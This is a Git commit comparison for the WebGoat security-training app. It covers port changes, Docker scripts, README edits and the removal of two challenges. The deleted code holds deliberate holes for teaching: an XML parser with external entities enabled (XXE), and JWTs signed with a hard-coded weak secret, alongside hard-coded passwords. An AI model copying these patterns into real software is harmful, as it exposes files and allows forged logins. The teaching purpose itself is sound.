Compare commits

..

22 Commits

Author SHA1 Message Date
b298440985 Merge branch 'release/v8.0.0.M16' 2018-05-30 20:35:22 +02:00
c7a714a590 Move to next release 2018-05-30 17:05:50 +02:00
93620f148b Remove challenges which are also incorporated in the lessons themselves 2018-05-30 16:46:50 +02:00
ecb7688e08 Update to new version for develop
Move WebWolf to port 9090 easier since most of the time something is running on 8081
Add scripts for easy building Docker files etc
2018-05-30 13:17:05 +02:00
0de784eb32 Update README and simply the java command to one with optional arguments 2018-05-29 22:16:29 +02:00
4691bc5fd5 Extended proxy lesson with Edit and Resend and explained how to exclude WebGoat internal calls from proxying 2018-05-29 21:30:13 +02:00
fc2c99bcb4 Limit the username to letters and digits only 2018-05-29 16:16:52 +02:00
7292a577e3 Only do a release when we build master and have a tagged the release 2018-05-29 15:20:07 +02:00
396c1c1d47 Update order of starting WebGoat 2018-05-29 15:16:29 +02:00
2911788679 Merge tag 'v8.0.0' into develop
Release v8.0.0
2018-05-29 14:59:32 +02:00
985148ede3 Merge branch 'release/v8.0.0' 2018-05-29 14:59:07 +02:00
9587550bc5 Fixed column name on sql injection lesson 7 2018-05-29 14:42:22 +02:00
9a0995dae5 Fixed column name on sql injection lesson 6 2018-05-29 14:42:02 +02:00
4e07e0ebfa Fix links to open new browser tab 2018-05-29 14:04:33 +02:00
6e95fdfe56 Adjusted documentation 2018-05-29 13:33:52 +02:00
e045bc692d Buying page also calculates the prices
Product image added
2018-05-29 12:47:27 +02:00
589872ad47 Fix for JWT assignment 1 log in now works again.
Reset button only triggers reset when admin is set to true in the token
2018-05-29 11:20:40 +02:00
5f4889cefe Clicking link in first password reset link only switched back and forward 2018-05-29 09:29:50 +02:00
a922c00182 Chore - fix spelling issues 2018-02-15 20:12:53 +00:00
f21fe7f2c3 Fixed typos 2018-01-30 05:49:51 +00:00
3cd349bb4b Update HttpBasics_ProxyIntro0.adoc
Fixed typo, Actual : "wihtin" , Expected :  "within"
2018-01-23 18:01:42 +00:00
e3e7ed004f Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker) 2018-01-02 22:19:49 +01:00
89 changed files with 333 additions and 1166 deletions

View File

@ -29,7 +29,18 @@ first thing that all hackers claim.*
# Run Instructions:
## 1. Run using Docker
## 1. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```Shell
java -jar webgoat-server-<<version>>.jar [--server.port=8080] [--server.address=localhost]
```
By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you
can bind it to a different address (default localhost)
## 2. Run using Docker
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
@ -65,27 +76,6 @@ Here you'll be able to register a new user and get started.
_Please note: this version may not be completely in sync with the develop branch._
## 2. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```Shell
java -jar webgoat-server-<<version>>.jar
```
By default WebGoat starts at port 8080 in order to change this use the following property:
```Shell
java -jar webgoat-server-<<version>>.jar --server.port=9090
```
You can specify one of the following arguments when starting WebGoat:
```Shell
java -jar webgoat-server-<<version>>.jar --server.port=9090 --server.address=x.x.x.x
```
This will start WebGoat on a different port and/or different address.
## 3. Run from the sources

View File

@ -6,6 +6,7 @@ services:
user: webgoat
environment:
- WEBWOLF_HOST=webwolf
- WEBWOLF_PORT=9090
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
@ -22,7 +23,7 @@ services:
- spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports:
- "8081:8081"
- "9090:9090"
db:
container_name: webgoat_db
image: postgres:latest

View File

@ -5,6 +5,7 @@ services:
image: webgoat/webgoat-8.0
environment:
- WEBWOLF_HOST=webwolf
- WEBWOLF_PORT=9090
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports:
- "8080:8080"
@ -15,7 +16,7 @@ services:
environment:
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports:
- "8081:8081"
- "9090:9090"
depends_on:
- db
db:

View File

@ -1,11 +1,12 @@
<?xml version="1.0"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
<name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
@ -225,7 +226,9 @@
</goals>
<phase>generate-resources</phase>
<configuration>
<outputDirectory>${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons</outputDirectory>
<outputDirectory>
${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons
</outputDirectory>
<includeArtifactIds>dist</includeArtifactIds>
<includes>*.jar</includes>
</configuration>

32
scripts/build-all.sh Normal file
View File

@ -0,0 +1,32 @@
#!/usr/bin/env bash
cd ..
nc -zv 127.0.0.1 8080 2>/dev/null
SUCCESS=$?
nc -zv 127.0.0.1 9090 2>/dev/null
SUCCESS=${SUCCESS}$?
if [[ "${SUCCESS}" -eq 00 ]] ; then
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
exit 127
fi
#mvn clean install
#if [[ "$?" -ne 0 ]] ; then
# exit y$?
#fi
cd -
sh build_docker.sh
echo "Do you want to run docker-compose?"
while true; do
read -p "Do you want to run docker-compose?" yn
case ${yn} in
[Yy]* ) sh clean-run-docker-compose.sh; break;;
[Nn]* ) exit;;
* ) echo "Please answer yes or no.";;
esac
done

10
scripts/build_docker.sh Normal file
View File

@ -0,0 +1,10 @@
#!/bin/bash
WEBGOAT_HOME=$(pwd)/../
cd ${WEBGOAT_HOME}/webgoat-server
docker build -t webgoat/webgoat-8.0 .
cd ${WEBGOAT_HOME}/webwolf
docker build -t webgoat/webwolf .

View File

@ -0,0 +1,5 @@
#!/usr/bin/env bash
cd ..
docker-compose rm -f
docker-compose up

View File

@ -10,10 +10,10 @@ if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
#elif [ ! -z "${TRAVIS_TAG}" ]; then
# # Creating a tag build we push it to Docker with that tag
# docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
# docker push $REPO
#elif [ "${BRANCH}" == "develop" ]; then
# docker build -f Dockerfile -t $REPO:snapshot .
# docker push $REPO

View File

@ -0,0 +1,4 @@
#!/usr/bin/env bash
cd ..
docker-compose up

View File

@ -10,7 +10,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<profiles>

View File

@ -4,6 +4,7 @@ import lombok.Getter;
import lombok.Setter;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Pattern;
import javax.validation.constraints.Size;
/**
@ -16,6 +17,7 @@ public class UserForm {
@NotNull
@Size(min=6, max=20)
@Pattern(regexp = "[a-zA-Z0-9]*", message = "can only contain letters and digits")
private String username;
@NotNull
@Size(min=6, max=10)

View File

@ -37,7 +37,7 @@ webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en
webwolf.host=${WEBWOLF_HOST:localhost}
webwolf.port=${WEBWOLF_PORT:8081}
webwolf.port=${WEBWOLF_PORT:9090}
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing
webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail

View File

@ -3,7 +3,7 @@
Vagrant.configure(2) do |config|
config.vm.box = "ubuntu/trusty64"
config.vm.network :forwarded_port, guest: 8080, host: 8080
config.vm.network :forwarded_port, guest: 8081, host: 8081
config.vm.network :forwarded_port, guest: 9090, host: 9090
config.vm.provider "virtualbox" do |vb|
vb.gui = false
vb.memory = "4096"

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>

View File

@ -11,7 +11,5 @@ public interface SolutionConstants {
//TODO should be random generated when starting the server
String PASSWORD = "!!webgoat_admin_1234!!";
String PASSWORD_TOM = "thisisasecretfortomonly";
String PASSWORD_LARRY = "larryknows";
String JWT_PASSWORD = "victory";
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
}

View File

@ -1,150 +0,0 @@
package org.owasp.webgoat.plugin.challenge3;
import com.beust.jcommander.internal.Lists;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import com.google.common.io.Files;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.plugin.Flag;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.annotation.PostConstruct;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.Unmarshaller;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import java.io.File;
import java.io.IOException;
import java.io.StringReader;
import java.nio.charset.Charset;
import java.util.Collection;
import java.util.Map;
import static org.springframework.http.MediaType.ALL_VALUE;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
import static org.springframework.web.bind.annotation.RequestMethod.GET;
import static org.springframework.web.bind.annotation.RequestMethod.POST;
/**
* @author nbaars
* @since 4/8/17.
*/
@AssignmentPath("/challenge/3")
@Slf4j
public class Assignment3 extends AssignmentEndpoint {
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
private static final String secretContents = "Congratulations you may now collect your flag";
static {
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
comments.add(new Comment("guest", DateTime.now().toString(fmt), "I think I will use this picture in one of my projects."));
comments.add(new Comment("guest", DateTime.now().toString(fmt), "Lol!! :-)."));
}
@PostConstruct
@SneakyThrows
public void copyFile() {
File targetDirectory = new File(webGoatHomeDirectory);
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
log.info("Copied secret.txt to: {}", targetDirectory);
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
}
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public Collection<Comment> retrieveComments() {
Collection<Comment> allComments = Lists.newArrayList();
Collection<Comment> xmlComments = userComments.get(webSession.getUserName());
if (xmlComments != null) {
allComments.addAll(xmlComments);
}
allComments.addAll(comments);
return allComments;
}
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewComment(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
Comment comment = null;
AttackResult attackResult = failed().build();
if (APPLICATION_JSON_VALUE.equals(contentType)) {
comment = parseJson(commentStr);
comment.setDateTime(DateTime.now().toString(fmt));
comment.setUser(webSession.getUserName());
comments.add(comment);
}
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
//Do not show these comments to all users
comment = parseXml(commentStr);
comment.setDateTime(DateTime.now().toString(fmt));
comment.setUser(webSession.getUserName());
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
comments.add(comment);
userComments.put(webSession.getUserName(), comments);
}
if (checkSolution(comment)) {
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build();
}
return attackResult;
}
private boolean checkSolution(Comment comment) {
if (comment.getText().contains(secretContents)) {
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack ");
comments.add(comment);
return true;
}
return false;
}
public static Comment parseXml(String xml) throws Exception {
JAXBContext jc = JAXBContext.newInstance(Comment.class);
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));
Unmarshaller unmarshaller = jc.createUnmarshaller();
return (Comment) unmarshaller.unmarshal(xsr);
}
private Comment parseJson(String comment) {
ObjectMapper mapper = new ObjectMapper();
try {
return mapper.readValue(comment, Comment.class);
} catch (IOException e) {
return new Comment();
}
}
}

View File

@ -1,39 +0,0 @@
package org.owasp.webgoat.plugin.challenge3;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* @author nbaars
* @since 3/21/17.
*/
public class Challenge3 extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 10;
}
@Override
public String getTitle() {
return "challenge3.title";
}
@Override
public String getId() {
return "Challenge3";
}
}

View File

@ -1,24 +0,0 @@
package org.owasp.webgoat.plugin.challenge3;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import javax.xml.bind.annotation.XmlRootElement;
/**
* @author nbaars
* @since 4/8/17.
*/
@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
private String user;
private String dateTime;
private String text;
}

View File

@ -1,17 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
/**
* @author nbaars
* @since 5/3/17.
*/
@AssignmentPath("/challenge/4")
@Slf4j
public class Assignment4 extends AssignmentEndpoint {
//just empty, posting the flag will mark the challenge as done as well no need to specify an endpoint here
}

View File

@ -1,39 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* @author nbaars
* @since 3/21/17.
*/
public class Challenge4 extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 10;
}
@Override
public String getTitle() {
return "challenge4.title";
}
@Override
public String getId() {
return "Challenge4";
}
}

View File

@ -1,16 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
/**
* @author nbaars
* @since 4/30/17.
*/
public class Views {
interface GuestView {
}
interface UserView extends GuestView {
}
interface AdminView extends UserView {
}
}

View File

@ -1,49 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
import com.fasterxml.jackson.annotation.JsonView;
import lombok.Getter;
import lombok.Setter;
/**
* @author nbaars
* @since 5/2/17.
*/
@Getter
public class Vote {
@JsonView(Views.GuestView.class)
private final String title;
@JsonView(Views.GuestView.class)
private final String information;
@JsonView(Views.GuestView.class)
private final String imageSmall;
@JsonView(Views.GuestView.class)
private final String imageBig;
@JsonView(Views.UserView.class)
private int numberOfVotes;
@JsonView(Views.AdminView.class)
@Setter
private String flag;
@JsonView(Views.UserView.class)
private boolean votingAllowed = true;
@JsonView(Views.UserView.class)
private long average = 0;
public Vote(String title, String information, String imageSmall, String imageBig, int numberOfVotes, int totalVotes) {
this.title = title;
this.information = information;
this.imageSmall = imageSmall;
this.imageBig = imageBig;
this.numberOfVotes = numberOfVotes;
this.average = calculateStars(totalVotes);
}
public void incrementNumberOfVotes(int totalVotes) {
this.numberOfVotes = this.numberOfVotes + 1;
this.average = calculateStars(totalVotes);
}
private long calculateStars(int totalVotes) {
return Math.round(((double) numberOfVotes / (double) totalVotes) * 4);
}
}

View File

@ -1,124 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import org.apache.commons.lang3.StringUtils;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.http.converter.json.MappingJacksonValue;
import org.springframework.web.bind.annotation.*;
import javax.annotation.PostConstruct;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.util.Collection;
import java.util.Date;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import static java.util.Comparator.comparingLong;
import static java.util.Optional.ofNullable;
import static java.util.stream.Collectors.toList;
import static org.owasp.webgoat.plugin.Flag.FLAGS;
import static org.owasp.webgoat.plugin.SolutionConstants.JWT_PASSWORD;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController
@RequestMapping("/votings")
public class VotesEndpoint {
private static String validUsers = "TomJerrySylvester";
private static int totalVotes = 38929;
private Map<String, Vote> votes = Maps.newHashMap();
@PostConstruct
public void initVotes() {
votes.put("Admin lost password", new Vote("Admin lost password",
"In this challenge you will need to help the admin and find the password in order to login",
"challenge1-small.png", "challenge1.png", 36000, totalVotes));
votes.put("Vote for your favourite",
new Vote("Vote for your favourite",
"In this challenge ...",
"challenge5-small.png", "challenge5.png", 30000, totalVotes));
votes.put("Get it for free",
new Vote("Get it for free",
"The objective for this challenge is to buy a Samsung phone for free.",
"challenge2-small.png", "challenge2.png", 20000, totalVotes));
votes.put("Photo comments",
new Vote("Photo comments",
"n this challenge you can comment on the photo you will need to find the flag somewhere.",
"challenge3-small.png", "challenge3.png", 10000, totalVotes));
}
@GetMapping("/login")
public void login(@RequestParam("user") String user, HttpServletResponse response) {
if (validUsers.contains(user)) {
Map<String, Object> claims = Maps.newHashMap();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Cookie cookie = new Cookie("access_token", token);
response.addCookie(cookie);
response.setStatus(HttpStatus.OK.value());
} else {
Cookie cookie = new Cookie("access_token", "");
response.addCookie(cookie);
response.setStatus(HttpStatus.UNAUTHORIZED.value());
}
}
@GetMapping
public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList()));
if (StringUtils.isEmpty(accessToken)) {
value.setSerializationView(Views.GuestView.class);
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if ("Guest".equals(user) || !validUsers.contains(user)) {
value.setSerializationView(Views.GuestView.class);
} else {
((Collection<Vote>) value.getValue()).forEach(v -> v.setFlag(FLAGS.get(4)));
value.setSerializationView(isAdmin ? Views.AdminView.class : Views.UserView.class);
}
} catch (JwtException e) {
value.setSerializationView(Views.GuestView.class);
}
}
return value;
}
@PostMapping(value = "{title}")
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if (validUsers.contains(user)) {
ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes));
return ResponseEntity.accepted().build();
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
} catch (JwtException e) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
}

View File

@ -1,75 +0,0 @@
/* Component: Posts */
.post .post-heading {
height: 95px;
padding: 20px 15px;
}
.post .post-heading .avatar {
width: 60px;
height: 60px;
display: block;
margin-right: 15px;
}
.post .post-heading .meta .title {
margin-bottom: 0;
}
.post .post-heading .meta .title a {
color: black;
}
.post .post-heading .meta .title a:hover {
color: #aaaaaa;
}
.post .post-heading .meta .time {
margin-top: 8px;
color: #999;
}
.post .post-image .image {
width:20%;
height: 40%;
}
.post .post-description {
padding: 5px;
}
.post .post-footer {
border-top: 1px solid #ddd;
padding: 15px;
}
.post .post-footer .input-group-addon a {
color: #454545;
}
.post .post-footer .comments-list {
padding: 0;
margin-top: 20px;
list-style-type: none;
}
.post .post-footer .comments-list .comment {
display: block;
width: 100%;
margin: 20px 0;
}
.post .post-footer .comments-list .comment .avatar {
width: 35px;
height: 35px;
}
.post .post-footer .comments-list .comment .comment-heading {
display: block;
width: 100%;
}
.post .post-footer .comments-list .comment .comment-heading .user {
font-size: 14px;
font-weight: bold;
display: inline;
margin-top: 0;
margin-right: 10px;
}
.post .post-footer .comments-list .comment .comment-heading .time {
font-size: 12px;
color: #aaa;
margin-top: 0;
display: inline;
}
.post .post-footer .comments-list .comment .comment-body {
margin-left: 50px;
}
.post .post-footer .comments-list .comment > .comments-list {
margin-left: 50px;
}

View File

@ -1,12 +0,0 @@
a.list-group-item {
height:auto;
}
a.list-group-item.active small {
color:#fff;
}
.stars {
margin:20px auto 1px;
}
.img-responsive {
min-width: 100%;
}

View File

@ -1,72 +0,0 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Challenge_3.adoc"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge3.css}"/>
<script th:src="@{/lesson_js/challenge3.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
<div class="pull-left image">
<img th:src="@{/images/avatar1.png}"
class="img-circle avatar" alt="user profile image"/>
</div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div>
</div>
<div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div>
<div class="post-description">
</div>
<div class="post-footer">
<div class="input-group">
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/>
<span class="input-group-addon">
<i id="postComment" class="fa fa-edit" style="font-size: 20px"></i>
</span>
</div>
<ul class="comments-list">
<div id="list">
</div>
</ul>
</div>
</div>
</div>
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
style="font-size:20px"></i></div>
<input type="text" class="form-control" id="flag" name="flag"
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit flag</button>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -1,75 +0,0 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Challenge_4.adoc"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge4.css}"/>
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
<script th:src="@{/lesson_js/challenge4.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="well">
<div class="pull-right">
<div class="dropdown">
<button type="button" data-toggle="dropdown" class="btn btn-default dropdown-toggle">
<i class="fa fa-user"></i> <span class="caret"></span>
</button>
<ul class="dropdown-menu dropdown-menu-left">
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Guest')"
th:text="Guest">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Tom')"
th:text="Tom">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Jerry')"
th:text="Jerry">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Sylvester')"
th:text="Sylvester">current</a></li>
</ul>
</div>
<div>
<p class="text-right">Welcome back, <b><span id="name"></span></b></p>
</div>
</div>
<div>
<h3>Vote for your favorite</h3>
</div>
<div id ="votesList" class="list-group">
</div>
</div>
</div>
</div>
<br/>
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
style="font-size:20px"></i></div>
<input type="text" class="form-control" id="flag" name="flag"
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit flag</button>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -2,7 +2,6 @@ challenge0.title=WebGoat Challenge
challenge1.title=Admin lost password
challenge2.title=Get it for free
challenge3.title=Photo comments
challenge4.title=Voting
challenge5.title=Without password
challenge6.title=Creating a new account
challenge7.title=Admin password reset

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.9 KiB

View File

@ -1,45 +0,0 @@
$(document).ready(function () {
$("#postComment").on("click", function () {
var commentInput = $("#commentInput").val();
$.ajax({
type: 'POST',
url: 'challenge/3',
data: JSON.stringify({text: commentInput}),
contentType: "application/json",
dataType: 'json'
}).then(
function () {
getChallenges();
$("#commentInput").val('');
}
)
})
var html = '<li class="comment">' +
'<div class="pull-left">' +
'<img class="avatar" src="images/avatar1.png" alt="avatar"/>' +
'</div>' +
'<div class="comment-body">' +
'<div class="comment-heading">' +
'<h4 class="user">USER</h4>' +
'<h5 class="time">DATETIME</h5>' +
'</div>' +
'<p>COMMENT</p>' +
'</div>' +
'</li>';
getChallenges();
function getChallenges() {
$("#list").empty();
$.get("challenge/3", function (result, status) {
for (var i = 0; i < result.length; i++) {
var comment = html.replace('USER', result[i].user);
comment = comment.replace('DATETIME', result[i].dateTime);
comment = comment.replace('COMMENT', result[i].text);
$("#list").append(comment);
}
});
}
})

View File

@ -1,84 +0,0 @@
$(document).ready(function () {
login('Guest');
})
function login(user) {
$("#name").text(user);
$.ajax({
url: "votings/login?user=" + user,
complete: function (result, status) {
getVotings();
}
});
}
var html = '<a href="#" class="list-group-item ACTIVE">' +
'<div class="media col-md-3">' +
'<figure> ' +
'<img class="media-object img-rounded" src="images/IMAGE_SMALL" alt="placehold.it/350x250"/>' +
'</figure>' +
'</div> ' +
'<div class="col-md-6">' +
'<h4 class="list-group-item-heading">TITLE</h4>' +
'<p class="list-group-item-text">INFORMATION</p>' +
'</div>' +
'<div class="col-md-3 text-center">' +
'<h2 HIDDEN_VIEW_VOTES>NO_VOTES' +
'<small HIDDEN_VIEW_VOTES> votes</small>' +
'</h2>' +
'<button type="button" id="TITLE" class="btn BUTTON btn-lg btn-block" onclick="vote(this.id)">Vote Now!</button>' +
'<div style="visibility:HIDDEN_VIEW_RATING;" class="stars"> ' +
'<span class="glyphicon glyphicon-star"></span>' +
'<span class="glyphicon glyphicon-star"></span>' +
'<span class="glyphicon glyphicon-star"></span>' +
